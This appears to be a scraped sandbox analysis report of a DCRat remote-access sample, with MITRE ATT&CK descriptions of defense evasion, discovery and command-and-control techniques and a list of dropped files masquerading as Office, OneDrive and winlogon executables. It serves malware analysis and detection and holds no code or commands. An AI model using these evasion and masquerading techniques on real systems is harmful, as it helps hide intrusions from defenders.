Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5P9EdUgv5r.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\Office16\8057c8f30c1a8e

C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\8057c8f30c1a8e

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe

C:\Program Files (x86)\Windows Mail\8057c8f30c1a8e

C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe

C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe

C:\Program Files (x86)\Windows Media Player\en-US\eddb19405b7ce1

C:\Program Files (x86)\Windows Portable Devices\cc11b995f2a76d

C:\Program Files (x86)\Windows Portable Devices\winlogon.exe

C:\Program Files\Windows Portable Devices\8057c8f30c1a8e

C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe

C:\Recovery\38384e6a620884

Windows Analysis Report
5P9EdUgv5r.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre